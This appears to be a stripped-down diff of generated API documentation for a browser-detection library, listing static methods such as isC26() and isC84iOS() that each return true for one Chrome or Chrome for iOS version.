+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC26()

+ + + + + + +
+

Returns true if Chrome 26.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC26iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 26.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC27()

+ + + + + + +
+

Returns true if Chrome 27.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC27iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 27.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC28()

+ + + + + + +
+

Returns true if Chrome 28.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC28iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 28.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC29()

+ + + + + + +
+

Returns true if Chrome 29.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC29iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 29.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC30()

+ + + + + + +
+

Returns true if Chrome 30.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC30iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 30.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC31()

+ + + + + + +
+

Returns true if Chrome 31.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC31iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 31.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC32()

+ + + + + + +
+

Returns true if Chrome 32.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC32iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 32.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC33()

+ + + + + + +
+

Returns true if Chrome 33.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC33iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 33.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC34()

+ + + + + + +
+

Returns true if Chrome 34.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC34iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 34.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC35()

+ + + + + + +
+

Returns true if Chrome 35.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC35iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 35.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC36()

+ + + + + + +
+

Returns true if Chrome 36.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC36iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 36.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC37()

+ + + + + + +
+

Returns true if Chrome 37.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC37iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 37.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC38()

+ + + + + + +
+

Returns true if Chrome 38.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC38iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 38.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC39()

+ + + + + + +
+

Returns true if Chrome 39.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC39iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 39.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC40()

+ + + + + + +
+

Returns true if Chrome 40.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC40iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 40.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC41()

+ + + + + + +
+

Returns true if Chrome 41.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC41iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 41.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC42()

+ + + + + + +
+

Returns true if Chrome 42.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC42iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 42.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC43()

+ + + + + + +
+

Returns true if Chrome 43.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC43iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 43.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC44()

+ + + + + + +
+

Returns true if Chrome 44.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC44iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 44.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC45()

+ + + + + + +
+

Returns true if Chrome 45.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC45iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 45.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC46()

+ + + + + + +
+

Returns true if Chrome 46.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC46iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 46.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC47()

+ + + + + + +
+

Returns true if Chrome 47.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC47iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 47.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC48()

+ + + + + + +
+

Returns true if Chrome 48.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC48iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 48.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC49()

+ + + + + + +
+

Returns true if Chrome 49.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC49iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 49.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC50()

+ + + + + + +
+

Returns true if Chrome 50.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC50iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 50.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC51()

+ + + + + + +
+

Returns true if Chrome 51.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC51iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 51.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC52()

+ + + + + + +
+

Returns true if Chrome 52.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC52iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 52.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC53()

+ + + + + + +
+

Returns true if Chrome 53.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC53iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 53.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC54()

+ + + + + + +
+

Returns true if Chrome 54.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC54iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 54.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC55()

+ + + + + + +
+

Returns true if Chrome 55.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC55iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 55.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC56()

+ + + + + + +
+

Returns true if Chrome 56.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC56iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 56.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC57()

+ + + + + + +
+

Returns true if Chrome 57.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC57iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 57.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC58()

+ + + + + + +
+

Returns true if Chrome 58.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC58iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 58.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC59()

+ + + + + + +
+

Returns true if Chrome 59.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC59iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 59.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC60()

+ + + + + + +
+

Returns true if Chrome 60.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC60iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 60.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC61()

+ + + + + + +
+

Returns true if Chrome 61.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC61iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 61.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC62()

+ + + + + + +
+

Returns true if Chrome 62.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC62iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 62.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC63()

+ + + + + + +
+

Returns true if Chrome 63.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC63iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 63.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC64()

+ + + + + + +
+

Returns true if Chrome 64.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC64iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 64.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC65()

+ + + + + + +
+

Returns true if Chrome 65.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC65iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 65.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC66()

+ + + + + + +
+

Returns true if Chrome 66.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC66iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 66.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC67()

+ + + + + + +
+

Returns true if Chrome 67.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC67iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 67.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC68()

+ + + + + + +
+

Returns true if Chrome 68.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC68iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 68.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC69()

+ + + + + + +
+

Returns true if Chrome 69.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC69iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 69.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC70()

+ + + + + + +
+

Returns true if Chrome 70.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC70iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 70.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC71()

+ + + + + + +
+

Returns true if Chrome 71.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC71iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 71.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC72()

+ + + + + + +
+

Returns true if Chrome 72.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC72iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 72.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC73()

+ + + + + + +
+

Returns true if Chrome 73.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC73iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 73.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC74()

+ + + + + + +
+

Returns true if Chrome 74.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC74iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 74.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC75()

+ + + + + + +
+

Returns true if Chrome 75.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC75iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 75.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC76()

+ + + + + + +
+

Returns true if Chrome 76.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC76iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 76.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC77()

+ + + + + + +
+

Returns true if Chrome 77.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC77iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 77.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC78()

+ + + + + + +
+

Returns true if Chrome 78.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC78iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 78.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC79()

+ + + + + + +
+

Returns true if Chrome 79.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC79iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 79.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC80()

+ + + + + + +
+

Returns true if Chrome 80.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC80iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 80.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC81()

+ + + + + + +
+

Returns true if Chrome 81.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC81iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 81.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC82()

+ + + + + + +
+

Returns true if Chrome 82.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC82iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 82.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC83()

+ + + + + + +
+

Returns true if Chrome 83.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC83iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 83.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC84()

+ + + + + + +
+

Returns true if Chrome 84.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC84iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 84.

+
